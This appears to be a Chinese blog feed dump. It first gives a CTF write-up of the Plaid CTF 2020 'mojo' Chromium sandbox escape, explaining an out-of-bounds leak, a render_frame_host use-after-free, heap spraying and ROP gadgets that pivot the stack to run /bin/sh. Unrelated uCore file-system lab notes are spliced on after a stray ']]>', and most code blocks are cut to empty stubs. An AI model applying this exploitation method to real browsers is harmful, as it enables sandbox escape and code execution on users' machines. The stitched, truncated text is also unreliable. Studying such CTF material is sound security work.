IndexedDB
相关的说明。
Plaid CTF 2020 mojo
是 chromium sandbox escape 沙箱逃逸的一道基础题,适合用于chrome
入门。
题目来源 - ctftime - task11314
由dockerfile
中的命令可知,启动chrome
的脚本为visit.sh
。而该脚本的内容如下
1 |
|
由visit.sh
中的命令可知,启动chrome的命令为
1 | ./chrome --headless --disable-gpu --remote-debugging-port=1338 --enable-blink-features=MojoJS,MojoJSTest <URL> |
我们可以设置一个--user-data-dir
参数来更加方便地使用DevTools
加上这个参数后,最直观的作用就是执行JS代码时,所有的
console.log
输出都将会同步输出至终端。
1 | 基础知识:将DevTools用作协议客户端 |
即我们最后实际启动chrome的命令为
1 | ./chrome --headless --disable-gpu --remote-debugging-port=1338 --user-data-dir=./userdata --enable-blink-features=MojoJS,MojoJSTest <URL> |
--headless
:Chrome-headless 模式, Google 针对 Chrome 浏览器 59版 新增加的一种模式,可以让你不打开UI界面的情况下使用 Chrome 浏览器,所以运行效果与 Chrome 保持完美一致。使用该参数将不会启动chrome的GUI界面,如需启动GUI界面则需删除该参数。
--enable-blink-features
:启用一个或多个启用Blink内核运行时的功能。在这里启用了MojoJS
笔者第一次执行时会报错,提示No usable sandbox
。
1 | # Kiprey @ Kipwn in /usr/class/CTFs/mojo/chrome [15:10:00] C:1 |
需要执行以下命令,以启用非特权用户命名空间 - sandbox问题参考
linux命名空间是一种轻量级的虚拟化手段 - 参考
1 | sudo sysctl -w kernel.unprivileged_userns_clone=1 |
之后即可正常运行chrome
调试浏览器时,最好在本地开一个web服务,而不是让浏览器直接访问本地html文件,因为这其中访问的协议是不一样的。浏览器访问web服务的协议是http
,而访问本地文件的协议是file
。
调试时尽量架设本地服务器来避免file协议与http协议实现过程中的某些差异,例如某些API的差异、跨域请求的差异等。
我们在这里可以使用python自带的httpServer来启动一个web服务
1 | python3 -m http.server 8000 |
使用gdb script
来调试chrome
1 | # gdbinit |
之后运行以下命令即可启动调试。
1 | gdb -x gidbinit |
Chrome安全体系架构的关键支撑就是沙箱。Chrome将网络的大部分攻击面(例如:DOM渲染、脚本执行、媒体解码等)限制在沙箱进程中。同时,存在一个中央进程,称之为浏览器进程,该进程可以完全不带沙箱运行。而Chrome的数个进程需要相互通信以完成工作协调,而这就涉及到了进程间或进程内的模块间通信(IPC,Inter-Process Communication
)其中,Mojo是Chromium提供的用于IPC的一种机制。
在Chrome中,Mojo机制使用C++实现。但Mojo仍然提供针对C++和JS语言的调用接口。
我们可以通过启用MojoJS blink绑定(在Chrome命令行中使用--enable-blink-features=MojoJS
)来模拟一个渲染器进程。这些绑定将Mojo平台直接暴露给JavaScript,从而使我们可以完全绕过Blink绑定,直接使用JS来调用Mojo平台中的代码。
可以简单的理解为,Mojo的JS接口通过
--enable-blink-features=MojoJS
参数打开,这样外部JS代码可以直接调用Mojo的JS接口,降低漏洞利用难点。
更多信息可以阅读Mojo Docs
注意!在阅读漏洞分析前,请先详细阅读
该文的翻译不是很到位,建议直接阅读原文
并理解其中关于Mojo的更多详细信息以及指针生命周期的漏洞问题。该题基于上述文章中的漏洞改编而成。
该题给出了一个
plaidstore.diff
文件。而这个diff文件向我们展示了新声明的Mojo接口。我们需要通过调用对应的MojoJS接口来利用其中的漏洞。
在plaidstore.diff
文件中可以看出,该版本实现了一个新接口PlaidStore
。将相关代码从中剥离整理出,可分为三类:
一部分代码是在原Chrome代码中添加的代码片段。
搜索可得,在PopulateFrameBinders
函数中,该题新增了一个回调函数 - 源码
通过
chrome
代码交叉引用查询可得,调用层次为
BrowserInterfaceBrokerImpl::PopulateBinderMap
->PopulateBinderMap
->PopulateFrameBinders
1 | void PopulateFrameBinders(RenderFrameHostImpl* host, mojo::BinderMap* map) { |
再一部分代码是mojo特有的接口文件,届时将会根据此文件生成对应接口xx
。而该接口的实际实现是xxImpl
。
例如,下面定义的接口为PlaidStore
,但C++中实际实现为PlaidStoreImpl
类
1 | // PlaidStore.mojom文件 |
最后一部分代码是声明的PlaidStore
接口所对应的C++实现PlaidStoreImpl
类
1 | namespace content |
OOB(Out Of Bound)是信息外带漏洞,例如越界读取等都属于OOB漏洞。
在函数PlaidStoreImpl::GetData
中,程序并没有对传入的参数count
进行判断,因此该函数可以越界读取,返回比实际存储范围更大的数据。
1 | void PlaidStoreImpl::GetData( |
当PlaidStoreImpl
类执行构造函数时,该类的一个实例将会保存传入的render_frame_host
原始指针。(注意保留的是原始指针而不是智能指针)
1 | PlaidStoreImpl::PlaidStoreImpl( |
而PlaidStoreImpl::Create
函数内部会调用mojo::MakeSelfOwnedReceiver
函数。该函数将会把Mojo管道的一端Receiver
与当前PlaidStoreImpl
实例关联(注意传入的render_frame_host
使用的 unique
智能指针类型为PlaidStoreImpl
)。这样,当Mojo管道关闭或者发生错误,recevier
便可将当前PlaidStoreImpl
实例释放。如此便达到了关联PlaidStoreImpl
生命周期的目的。
1 | // static |
但是,render_frame_host
并没有与当前PlaidStoreImpl
实例关联。也就是说若render_frame_host
被析构,当前PlaidStoreImpl
实例将仍然存在。
一个
render
进程中的RenderFrame
对应browser
进程中的RenderFrameHost
。当打开新的tab或iframe时,
browser
将会对应的创建RenderFrameHost
对象释放也是如此,当某个tab或iframe被释放时,对应的
RenderFrameHost
对象将会被释放。
这样,我们可以在保证Mojo Pipe
不断开的前提下,将render_frame_host
析构,之后就可以在PlaidStoreImpl
类函数中继续使用render_frame_host
,以达到UAF的目的。
总结:
若关闭Mojo管道,则
PlaidStoreImpl
实例将会被析构;若析构
render_frame_host
,则对应PlaidStoreImpl
实例将仍然存在。
我们先写一段OOB POC,看看会泄露出什么信息。
1 | <html> |
启动调试器后,先在PlaidStoreImpl::Create
函数上下个断点
之后执行run
,断在PlaidStoreImpl::Create
函数内部。在这里我们可以注意到,PlaidStoreImpl
的大小为0x28bytes。
为什么
sizeof(PlaidStoreImpl) == 0x28
呢?因为下一个要执行的函数是operator new
。而这个0x28
正是传入的内存大小。如何知道那个
0x555xxxxx
函数是operator new
呢?先单步跟踪进去,然后一个frame
指令,或者将函数调用链打印出来的bt
指令。第一个函数就是。再一个简单的方法就是使用
c++filt
命令,将name mangling
后的函数名称还原回先前的函数名称。
同时,当operator new
函数执行完成后,返回的%rax
地址即为PlaidStoreImpl
的地址。使用set $ps_addr = $rax
gdb命令将该地址存储到gdb的临时变量中。之后直接执行finish
命令,跳过该函数剩余的构造PlaidStoreImpl
实例的过程(该过程包括但不限于设置虚表地址等)。
fini
命令之后,我们先看一下PlaidStoreImpl
实例的内存布局(相关成员均标注在图片上)
C++的编译器保证虚函数表的指针存在于对象实例中最前面的位置。
我们看一下map
的相关内存结构,看看到底泄露的是什么地址 - chrome std::map 源码
1 | class _LIBCPP_TEMPLATE_VIS map |
众所周知,map内部使用rb_tree
,因此我们继续点进去看看 - chrome std::tree 源码
1 | template <class _Tp, class _Compare, class _Allocator> |
可以看到,该tree有三个成员变量,而第一个pointer指向的是根结点。tree成员变量的数量也与我们PlaidStoreImpl
内存布局所对应。
我们再看看tree第一个pointer所指向的叶结点的成员变量有哪些 - chrome tree_node 源码
1 | template <class _Pointer> |
即,一个__tree_node
实例有以下五个成员,分别是
1 | pointer __left_; |
最后,我们查看一下__tree_node
内存布局
在查看内存布局前,先令chrome执行完
PlaidStoreImpl::storeData
函数,将数据存入tree,方便调试。
图中红色框的0x30字节为
__value__
成员变量。其中,前0x18个字节是string
类实例(注意那个0x0000000061616161
,这正是填入的keyString1111
),后0x18字节是vector
类实例。
而vector
成员变量如下,该类共有三个成员,这里我们只关心__begin_
成员所指向的内存。
1 | template <class _Allocator> |
以下是该vector所指向的内存位置,可以看到前0x10个字节的值是先前执行PlaidStore::storeData
函数时写入的。而我们可以通过该vector
越界向后读取。
为什么要这么大动干戈,从上向下查找
vector
的泄露地址呢?因为我们需要寻找一下,这个地址是否与其他已经获得的地址之间存在关系。在这题中,我们可以确认
vecotr __begin_
与PlaidStoreImpl
地址位于同一个段。
那么,该越界读取什么来泄露信息,泄露什么信息呢?
由于PlaidStore
实例与vector __begin_
所指向的地址位于同一个段。同时,PlaidStore
实例中存在虚表,因此我们可以通过vector
来越界读取PlaidStore vtable
地址。这样就可以通过虚表地址确定一系列的地址(包括但不限于确定ELF基地址等)。
类实例的虚表位于
rodata
段中,也就是说,vtable
地址与ELF基地址的相对偏移是保持不变的。
我们需要大量分配PlaidStoreImpl
与vector
,使它们呈线性交替存放,之后就可以通过越界读来获取虚表地址。
注意虚表地址中的后三个十六进制数
0x7a0
,我们将通过这个来识别读取到的数据是否是虚表地址,而不是采用相对偏移的方式来读取,这样就可以最大程度上避免由于内存分配器的不同而导致的偏移差异。
而虚表与chrome基地址的偏移为0x000055555f50a7a0 - 0x555555554000 == 0x9fb67a0
,获取虚表地址后就可以通过相对偏移来计算出ELF基地址。
ELF基地址有了之后,我们就可以以下命令来获取一系列gadgets
地址。
1 | ROPgadget --binary ./chrome > gadgets.txt |
由于chrome文件过大,执行该命令时需要4GB内存左右
建立出的
gadgets.txt
的文件大小将近400MB。
这样就可以获取到以下gadget的相对偏移
这些gadgets组合在一起便可劫持栈,并利用
syscall
执行/bin/sh
1 | 0x000000000880dee8 : xchg rax, rsp ; clc ; pop rbp ; ret |
所以最终,我们编写以下代码来泄露我们的目标地址
1 | <html> |
泄露出的地址为
1 | [+] PlaidStore vtable: 0x557731d667a0 |
由于render_frame_host_
的UAF,render_frame_host_
指针所指向的RenderFrameHostImpl
内存位置是完全可控的(因为这块内存可以先被free,后被我们allocate)。
同时,我们可以利用先前找到的xchg rax, rsp
,将$rax
值和$rsp
值交换,这样就可以劫持栈,之后执行我们的gadgets
。
那$rax
值应该怎么控制呢?请向下翻页查看下图,当执行虚函数时,%rax
值正好为render_frame_host_
的虚表地址vtable entry
,因此我们还是可以通过控制RenderFrameHostImpl
内存区域来设置%rax
的值。这里我们设置该vtable entry
为render_frame_host_ + 0x10
,即,render_frame_host_[0] = render_frame_host_ + 0x10
(这段话有点绕,请仔细思考)
因此,我们完全可以在render_frame_host_
指针所指向的内存区域上布置我们的gadgets
。
但在此之前,我们需要获取一下render_frame_host_
所使用的某个虚函数在虚表的相对偏移。这里我们选择获取IsRenderFrameLive
虚函数的偏移。
我们在PlaidStoreImpl::GetData
函数下断,单步跟踪几步即可显示该函数的偏移。如图所示,IsRenderFrameLive
函数在虚表中的相对偏移为0x160
。
之后,我们就可以精心构建gadget
布局。
在布局gadget
前还有一个问题:我们该如何在释放render_frame_host_
所指向的内存之后,再将这块内存分配回来?这里有个小知识点,chrome中的内存管理使用的是TCMalloc
机制。又因为StoreData
函数分配的vector<uint8_t>
与render_frame_host_
使用的是同一个分配器,只要大量分配大小与RenderFrameHostImpl
相等的vector
,就有可能占位成功。
TCMalloc(Thread-Caching Malloc)实现了高效的多线程内存管理,用于替代系统的内存分配相关的函数 - TCMalloc解密
那么sizeof(RenderFrameHostImpl)
等于多少呢?我们调试看看。
首先在content::RenderFrameHostImpl::RenderFrameHostImpl
构造函数上下断点,并重新执行
1 | pwndbg> b content::RenderFrameHostImpl::RenderFrameHostImpl |
我们的目的是找到执行该构造函数的上一个函数,并查看在执行RenderFrameHostImpl
构造函数前,执行operator new
时传入的大小。
如图所示,我们的目标是
content::RenderFrameHostFactory::Create
函数。下断并重新执行。
单步跟踪RenderFrameHostFactory::Create
函数,在整个函数中只有一处地方调用operator new
。而这里的0xc28
正是RenderFrameHostImpl
的大小。
当我们创建一个child iframe
并建立一个PlaidStoreImpl
实例后。如果我们关闭这个child iframe
,则对应的RenderFrameHost
将会自动关闭;但于此同时,child iframe
所对应的PlaidStoreImpl
与browser建立的mojo管道将会被断开。而该管道一但断开,则PlaidStoreImpl
实例将会被析构。
因此,我们需要在关闭child iframe
之前,将管道的remote
端移交给parent iframe
,使得child iframe
的PlaidStoreImpl
实例在iframe关闭后仍然存活。
回想一下,正常情况下,当关闭一个iframe时,RenderFrameHost将会被析构、mojo管道将会被关闭。此时Mojo管道的关闭一定会带动PlaidStoreImpl的析构,这样就可以析构掉所有该析构的对象。
但这里却没有,因为在关闭
child iframe
前,已经将该iframe
所持有的Mojo管道Remote
端移交出去了,因此在关闭child iframe
时将不会关闭Mojo管道。而PlaidStoreImpl
的生命周期并没有与RenderFrameHost
相关联。即RenderFrameHost
的析构完全不影响PlaidStoreImpl
实例的生命周期。所以,PlaidStoreImpl
实例将不会被析构。
那么,问题是,该如何移交Mojo管道的remote
端呢? 答案是:使用MojoInterfaceInterceptor
。该功能可以拦截来自同一进程中其他iframe
的Mojo.bindInterface
调用。在child iframe
被销毁前,我们可以利用该功能将mojo管道的一端传递给parent iframe
。
以下是来自其他exp的相关代码,我们可以通过该代码片段来了解MojoInterfaceInterceptor
的具体使用方式:
1 | var kPwnInterfaceName = "pwn"; |
现在,我们已经解决了所有潜在的问题,UAF的利用方式应该是这样的
child iframe
中Mojo 管道的remote
端移交至parent iframe
,使得Mojo管道仍然保持连接。child iframe
RenderFrameHostImpl
的内存区域child iframe
对应的PlaidStoreImpl::GetData
函数。写个POC验证一下UAF
1 | <html> |
不过需要注意的是,在该POC中并没有将
child iframe
的Mojo管道一端传递给parent iframe
的操作。因为通过调试可知,child iframe
在remove后,其所对应的PlaidStoreImpl
实例仍然存在,并没有随着Mojo pipe的关闭而被析构。尚未明确具体原因,但这种情况却简化了漏洞利用的方式。
如下图所示,chrome成功在调用RenderFrameHostImpl::IsRenderFrameLive
时Crash,并且$eax
为目的值0xdeadbeef
。
执行输出的log如下
1 | # Kiprey @ Kipwn in /usr/class/CTFs/mojo [14:34:16] C:1 |
综上所述,整体利用流程是这样的:
先创建一个child iframe
,利用OOB泄露该child iframe
所对应的PlaidStoreImpl::render_frame_host_
指针地址与chromeELF
基地址。最后,将上面两个地址与任意一个PlaidStoreImpl
实例地址一并返回给parent iframe
。
注意,此时最好不要马上释放该
child iframe
。暂时先保留render_frame_host_
的内存区域,直到最后漏洞利用前再释放,以减小目标内存区域被其他代码所分配的风险。
利用child iframe
泄露出的ELF基地址,进一步确认各种gadgets的地址。
利用JS代码,先精心构造一块特定的gadgets利用数据。
将child iframe
持有的Mojo管道remote
端移交至parent iframe
。
先前的UAF Poc中尽管省略了该操作,但poc仍然可以利用成功,因此该操作在利用过程中不是必须的。
释放child iframe
并多次执行parent iframe
的PlaidStoreImpl::StoreData
函数,将gadgets利用数据写入内存中。
执行child iframe
的PlaidStoreImpl::GetData
函数
成功获取shell
!
所以,综合上面的漏洞POC,我们最终的exp如下所示
1 | <html> |
执行并利用成功
]]>uCore
Lab 8时写下的一些笔记文件系统是操作系统中管理持久性数据的子系统,提供数据存储和访问功能
文件是具有符号名,由字节序列构成的数据项集合
文件系统的功能
文件属性
名称、类型、大小、位置、保护、创建者、创建时间、最近修改时间
文件头:文件系统元数据中的文件信息
打开文件和文件描述符
文件访问模式:进程访问文件数据前必须先“打开”文件
内核跟踪进程打开的所有文件
操作系统在打开文件表中维护的打开文件状态和信息
文件的用户视图和系统视图
文件的用户视图:持久的数据结构
系统访问接口
操作系统的文件视图
用户视图到系统视图的转换
文件系统中的基本操作单位是数据块。
访问模式
文件内部结构
文件共享和访问控制
语义一致性
分层文件系统
文件以目录的方式组织起来
目录是一类特殊的文件:目录的内容是文件索引表 <文件|指向文件的指针>
目录和文件的树形结构(早期的文件系统是扁平的)
目录操作
目录实现
文件别名
两个或多个文件名关联同一个文件
硬链接:多个文件项指向一个文件
软链接:以“快捷方式”指向其他文件
通过存储其真实文件的逻辑名称来实现。
文件目录中的循环
名字解析(路径遍历)
/bin/sh
bin
项bin
的文件头bin
的数据块,搜索ls
项ls
的文件头文件系统挂载
文件系统种类
文件系统的实现:分层结构
虚拟文件系统(VFS)
文件系统基本数据结构
superblock
)vnode
or inode
)dentry
)文件系统的存储结构
数据块缓存
页缓存
文件系统中打开文件的数据结构
打开文件锁
一些文件系统提供文件锁,用于协调多进程的文件访问
跟踪记录文件卷中未分配的数据块
采用什么数据结构表示空闲空间列表?
11111110011001001010010101
0
前需要扫描磁盘数据块总数/空闲块数目磁盘分区
通常磁盘通过分区来最大限度减小寻道时间
一个典型的磁盘文件系统组织
文件卷:一个拥有完整文件系统实例的外存空间,通常常驻在磁盘的单个分区上
多磁盘管理
基于数据块的条带化
把数据块分成多个子块,存储在独立的磁盘中
通过独立磁盘上并行数据块访问提供更大的磁盘带宽
向两个磁盘写入,从任何一个读取
基于数据块的条带化
数据块级的磁盘条带化加专用奇偶校验磁盘
允许从任意一个故障磁盘中恢复
基于数据块的条带化
RAID 0+1
RAID 1+0
操作系统中负责管理和存储可长期保存数据的软件功能模块称为文件系统。在本次试验中,主要侧重文件系统的设计实现和对文件系统执行流程的分析与理解。
ucore的文件系统模型源于Havard的OS161的文件系统和Linux文件系统。但其实这二者都是源于传统的UNIX文件系统设计。UNIX提出了四个文件系统抽象概念:文件(file)、目录项(dentry)、索引节点(inode)和安装点(mount point)。
上述抽象概念形成了UNIX文件系统的逻辑数据结构,并需要通过一个具体文件系统的架构设计与实现把上述信息映射并储存到磁盘介质上,从而在具体文件系统的磁盘布局(即数据在磁盘上的物理组织)上具体体现出上述抽象概念。
比如文件元数据信息存储在磁盘块中的索引节点上。当文件被载入内存时,内核需要使用磁盘块中的索引点来构造内存中的索引节点。
ucore模仿了UNIX的文件系统设计,ucore的文件系统架构主要由四部分组成:
对照上面的层次我们再大致介绍一下文件系统的访问处理过程,加深对文件系统的总体理解。假如应用程序操作文件(打开/创建/删除/读写),首先需要通过文件系统的通用文件系统访问接口层给用户空间提供的访问接口进入文件系统内部,接着由文件系统抽象层把访问请求转发给某一具体文件系统(比如SFS文件系统),具体文件系统(Simple FS文件系统层)把应用程序的访问请求转化为对磁盘上的block的处理请求,并通过外设接口层交给磁盘驱动例程来完成具体的磁盘操作。结合用户态写文件函数write的整个执行过程,我们可以比较清楚地看出ucore文件系统架构的层次和依赖关系。
ucore文件系统总体结构
从ucore操作系统不同的角度来看,ucore中的文件系统架构包含四类主要的数据结构, 它们分别是:
如果一个用户进程打开了一个文件,那么在ucore中涉及的相关数据结构(其中相关数据结构将在下面各个小节中展开叙述)和关系如下图所示:
先上一张相关数据结构的关联图
自己画的太丑了T_T,该图来源resery
文件系统整体结构
我们先从上到下分析一下结构
在内核中,通用的文件相关的函数分别是以下这些函数,同时也是我们在uCore中最常使用的函数。
1 | int sysfile_open(const char *path, uint32_t open_flags); // Open or create a file. FLAGS/MODE per the syscall. |
在这些sysfile_xx
函数中,调用的下一层函数分别是封装好的各个file_xx
函数
1 | int file_open(char *path, uint32_t open_flags); |
通常来讲,这些函数都会操作当前进程访问文件的数据接口,即current->filesp
。该struct files_struct
结构如下所示
1 | /* |
该结构中包含了当前进程的工作路径、所打开的文件数组集合以及信号量等。
在fd_array
数组中,每个进程打开的文件所对应的索引,就是该文件在该进程所对应的文件描述符。
即不同进程打开文件时,返回的文件描述符可能时是不一样的。
文件系统抽象层是把不同文件系统的对外共性接口提取出来,形成一个函数指针数组,这样,通用文件系统访问接口层只需访问文件系统抽象层,而不需关心具体文件系统的实现细节和接口。
系统接口再下一层就到了VFS
虚拟文件系统。VFS函数涉及到了文件结构struct file
。该结构体指定了文件的相关类型,包括读写权限,文件描述符fd
,当前读取到的位置pos
,文件系统中与硬盘特定区域所对应的结点node
,以及打开的引用次数open_count
1 | struct file { |
虚拟文件系统中,所使用的相关函数接口分别是
1 | /* |
vfs
会涉及到inode
结构的操作,该结构是位于内存的索引节点,它是VFS结构中的重要数据结构,因为它实际负责把不同文件系统的特定索引节点信息(甚至不能算是一个索引节点)统一封装起来,避免了进程直接访问具体文件系统。其定义如下:
1 | /* |
struct inode
中存放了info
、类型type
、引用次数ref_count
、打开次数open_count
、相关联的文件系统in_fs
以及当前结构所对应的操作集合in_ops
。该结构与硬盘上对应区域相关联,从而便于对硬盘进行操作。
inode_ops
成员是对常规文件、目录、设备文件所有操作的一个抽象函数表示。对于某一具体的文件系统中的文件或目录,只需实现相关的函数,就可以被用户进程访问具体的文件了,且用户进程无需了解具体文件系统的实现细节。可选实现如下:
1 | /* |
inode
结构是与文件系统相关的,不同文件系统所实现的inode
结构是不同的,它的存在可以让VFS忽略更下一级的文件系统差异,使之注重于提供一个统一的文件系统接口。inode
根据其in_info
的不同而实现其不同的功能。
文件系统抽象层VFS提供了file接口、dir接口、inode接口、fs接口以及外设接口。而这些接口在
sfs
中被具体实现。
从VFS
向下一层,就是SFS
。
ucore内核把所有文件都看作是字节流,任何内部逻辑结构都是专用的,由应用程序负责解释。但是ucore区分文件的物理结构。ucore目前支持如下几种类型的文件:
SFS文件系统中目录和常规文件具有共同的属性,而这些属性保存在索引节点中。SFS通过索引节点来管理目录和常规文件,索引节点包含操作系统所需要的关于某个文件的关键信息,比如文件的属性、访问许可权以及其它控制信息都保存在索引节点中。可以有多个文件名可指向一个索引节点。
1 | void sfs_init(void); |
在SFS
中涉及到了两种文件系统结构,分别是fs
和sfs_fs
。fs
结构是我们在上层函数调用中所直接操作的抽象文件系统,而sfs_fs
则是在下层函数中所使用的。在原先sfs_fs
上抽象出一层fs
结构有助于忽略不同文件系统的差异。其实现如下所示
1 | /* |
sfs_fs
结构中包含了底层设备的超级块superblock
、所挂载的设备dev
、以及底层设备中用于表示空间分配情况的freemap
等。
文件系统通常保存在磁盘上。在本实验中,第三个磁盘(即disk0,前两个磁盘分别是 ucore.img 和 swap.img)用于存放一个SFS文件系统(Simple Filesystem)。通常文件系统中,磁盘的使用是以扇区(Sector)为单位的,但是为了实现简便,SFS 中以 block (4K,与内存 page 大小相等)为基本单位。
SFS文件系统的布局如下
1 | +------------+----------+---------+-------------------------------------+ |
第0个块(4K)是超级块(superblock),它包含了关于文件系统的所有关键参数,当计算机被启动或文件系统被首次接触时,超级块的内容就会被装入内存。其定义如下:
1 | /* |
第1个块放了一个root-dir的inode,用来记录根目录的相关信息。root-dir是SFS文件系统的根结点,通过这个root-dir的inode信息就可以定位并查找到根目录下的所有文件信息。
从第2个块开始,根据SFS中所有块的数量,用1个bit来表示一个块的占用和未被占用的情况。这个区域称为SFS的freemap区域,这将占用若干个块空间。为了更好地记录和管理freemap区域
最后在剩余的磁盘空间中,存放了所有其他目录和文件的inode信息和内容数据信息。需要注意的是虽然inode的大小小于一个块的大小(4096B),但为了实现简单,每个 inode 都占用一个完整的 block。
在sfs
层面上,inode
结构既可表示文件file
、目录dir
,也可表示设备device
。而区分inode
结构的操作有两种,一种是其in_info
成员变量,另一种是该结构的成员指针in_ops
。以下是函数sfs_get_ops
的源码,该函数返回某个属性(文件/目录)所对应的inode
操作:
注意,设置inode_ops的操作不止一处,以下代码只作为示例。
1 | /* |
当uCore创建一个用于存储文件/目录的inode
结构(即该inode
结构的in_info
成员变量为sfs_inode
类型)时,程序会执行函数sfs_create_inode
。该函数会将inode
结构中的sfs_inode
成员与磁盘对应结点sfs_disk_inode
相关联,从而使得只凭inode
即可操作该结点。
用于描述设备
device
的inode
会在其他函数中被初始化,不会执行函数sfs_create_inode
1 | /* |
磁盘索引结点——保存在硬盘中的索引结点
sfs_disk_inode
结构记录了文件或目录的内容存储的索引信息,该数据结构在硬盘里储存,需要时读入内存。type
成员表明该结构是目录类型还是文件类型,又或者是链接link
类型。如果inode
表示的是文件,则成员变量direct[]
直接指向了保存文件内容数据的数据块索引值。indirect
指向的是间接数据块,此数据块实际存放的全部是数据块索引,这些数据块索引指向的数据块才被用来存放文件内容数据。
1 | /* file types */ |
对于普通文件,索引值指向的 block 中保存的是文件中的数据。而对于目录,索引值指向的数据保存的是目录下所有的文件名以及对应的索引节点所在的索引块(磁盘块)所形成的数组。数据结构如下:
1 | /* file entry (on disk) */ |
内存索引结点——保存在内存中的索引结点
1 | /* inode for sfs */ |
SFS中的内存sfs_inode
除了包含SFS的硬盘sfs_disk_inode
信息,而且还增加了其他一些信息。这些信息用于判断相关硬盘位置是否改写、互斥操作、回收和快速地定位等作用。
需要注意的是,一个内存
sfs_inode
是在打开一个文件后才创建的,如果关机则相关信息都会消失。而硬盘sfs_disk_inode
的内容是保存在硬盘中的,只是在进程需要时才被读入到内存中,用于访问文件或目录的具体内容数据
文件结点——用于指向磁盘索引结点的结点,其结构如下
1 | /* file entry (on disk) */ |
文件结点中的name
表示当前文件的文件名,而其ino
成员则指向了sfs_disk_inode
磁盘索引结点。上一层的目录索引结点则会指向各个下层的文件结点。
将文件结点和磁盘索引结点分开,有助于硬链接的实现。
同时,为了方便实现上面提到的多级数据的访问以及目录中 entry 的操作,对于inode
,SFS实现了一些辅助的函数,它们分别是
备注:这些函数的功能最好在阅读源码时详细了解。
sfs_bmap_load_nolock
将对应
sfs_inode
的第index
个索引指向的 block 的索引值取出,并存到相应的指针指向的单元(ino_store
)。
如果
index == din->blocks
, 则将会为inode
增长一个 block。并标记inode
为 dirty
sfs_bmap_truncate_nolock
将多级数据索引表的最后一个 entry 释放掉。该函数可以认为是
sfs_bmap_load_nolock
中,index == inode->blocks
的逆操作。
sfs_dirent_read_nolock
将目录的第 slot 个 entry 读取到指定的内存空间。
sfs_dirent_search_nolock
该函数是常用的查找函数,函数会在目录下查找 name,并且返回相应的搜索结果(文件或文件夹)的 inode 的编号(也是磁盘编号),和相应的 entry 在该目录的 index 编号以及目录下的数据页是否有空闲的 entry。
需要注意的是,这些后缀为
nolock
的函数,只能在已经获得相应inode
的semaphore
才能调用。
在底层一点就是I/O设备的相关实现,例如结构体device
1 |
|
该结构体支持对块设备、字符设备的表示,完成对设备的基本操作。
不同底层设备所调用的函数方法是不同的,例如以下两个函数就是对不同设备device
结构体的初始化
需要注意的是,常用的
stdin
和stdout
在uCore中是作为输入输出设备,与disk0
处于同一个层次。
1 | static void |
结构体device
只表示了一个设备所能使用的功能,我们需要一个数据结构用于将device
和fs
关联。同时,为了将连接的所有设备连接在一起,uCore定义了一个链表,通过该链表即可访问到所有设备。而这就是定义vfs_dev_t
结构体的目的。
1 | // device info entry in vdev_list |
stdin
和stdout
在uCore中被视为标准输入输出设备,与disk0
一样,共同被VFS所管理。
在内核中,uCore并不会主动让每个进程打开stdin
和stdout
,但用户程序仍然可以使用诸如write(1, buf, size)
这样的语句。这是因为生成用户可执行文件时,umain
函数将会被链接入用户的主程序,而该函数中就有针对stdin
和stdout
相关文件描述符的初始化。
1 | void |
再低一个层次就涉及到了硬盘驱动,驱动直接和硬盘I/O接口打交道。例如以下函数:
1 | int |
一个文件系统在使用前,需要将其挂载至内核中。在uCore里,硬盘disk0
的挂载流程如下:
首先,在fs_init
函数中执行init_device(disk0)
,初始化对应device
结构并将其连接至vdev_list
链表中:
之后,在fs_init
函数中执行sfs_init() -> sfs_mount("disk0")
1 | int sfs_mount(const char *devname) { |
紧接着,sfs_mount
会调用vfs_mount
,在vfs
的挂载接口中调用sfs
自己的sfs_do_mount
挂载函数
1 | /* |
sfs_do_mount
挂载函数会执行以下几个操作
freemap
并测试其正确性fs
结构的相关信息,并在函数最后将该信息设置为传入的device
结构体中的fs
成员变量用户进程调用open
函数时,通过系统中断调用内核中的sysfile_open
函数,并进一步调用file_open
函数。在file_open
函数中,程序主要做了以下几个操作:
filesp
中,获取一个空闲的file
对象。vfs_open
函数,并存储该函数返回的inode
结构inode
,设置file
对象的属性。如果打开方式是append
,则还会设置file
的pos
成员为当前文件的大小。file->fd
1 | // open file |
vfs_open
函数主要完成以下操作:
调用vfs_lookup
搜索给出的路径,判断是否存在该文件。如果存在,则vfs_lookup
函数返回该文件所对应的inode
节点至当前函数vfs_open
中的局部变量node
。
如果给出的路径不存在,即文件不存在,则根据传入的flag,选择调用vop_create
创建新文件或直接返回错误信息。
vop_creat
所对应的SFS
创建文件函数似乎没实现?
执行到此步时,当前函数中的局部变量node
一定非空,此时进一步调用vop_open
函数打开文件。
SFS中,
vop_open
所对应的sfs_openfile
不执行任何操作,但该接口仍然需要保留。
如果文件打开正常,则根据当前函数传入的open_flags
参数来判断是否需要将当前文件截断(truncate)至0(即清空)。如果需要截断,则执行vop_truncate
函数。最后函数返回。
1 | // open file in vfs, get/create inode for file with filename path. |
文件打开操作到这里就差不多结束了,不过我们可以探讨一下文件是如何进行路径查找以及清空当前文件的。
vfs_lookup
用于查找传入的路径,并返回其对应的inode
结点。
该函数首先调用get_device
函数获取设备的inode
结点。在get_device
函数中,程序会分析传入的path
结构并执行不同的函数。传入的path
与对应的操作有以下三种,分别是
directory/filename
: 相对路径。此时会进一步调用vfs_get_curdir
,并最终获取到当前进程的工作路径并返回对应的inode
。
/directory/filename
或者:directory/filename
:无设备指定的绝对路径。
若路径为/directory/filename
,此时返回bootfs
根目录所对应的inode
。
bootfs
是内核启动盘所对应的文件系统。
若路径为:/directory/filename
,则获取当前进程工作目录所对应的文件系统根目录,并返回其inode
数据。
device:directory/filename
或者device:/directory/filename
: 指定设备的绝对路径。返回所指定设备根目录的对应inode
。
总的来说,
get_device
返回的是一个目录inode
结点。
get_device
函数代码如下:
1 | /* |
之后,该函数调用vop_lookup
(实际是sfs_lookup
)来获取目的结点。
vop_truncate
函数(即sfs_truncfile
函数)主要完成以下操作
获取该文件原先占用磁盘的块数nblks
,以及”截断“后占用的块数tblks
。
注意这个截断操作可以向后截断(即缩小文件大小),也可向前截断(即增大文件大小)。这里的”截断“实质上是调整文件尺寸的操作。
如果原先占用的磁盘块数比目的块数大,则循环调用sfs_bmap_load_nolock
函数,单次添加一个块
如果原先占用的磁盘块数比目的块数小,则循环调用sfs_bmap_truncate_nolock
函数,单次销毁一个块。
以上两种操作都需要设置
dirtybit
用户进程调用read
函数时,通过系统中断最终调用sysfile_read
。在该函数中,程序主要完成以下几个操作
file_read
函数读取数据至缓冲区中,并将该缓冲区中的数据复制至用户内存(即传入sysfile_read
的base指针所指向的内存)file_read
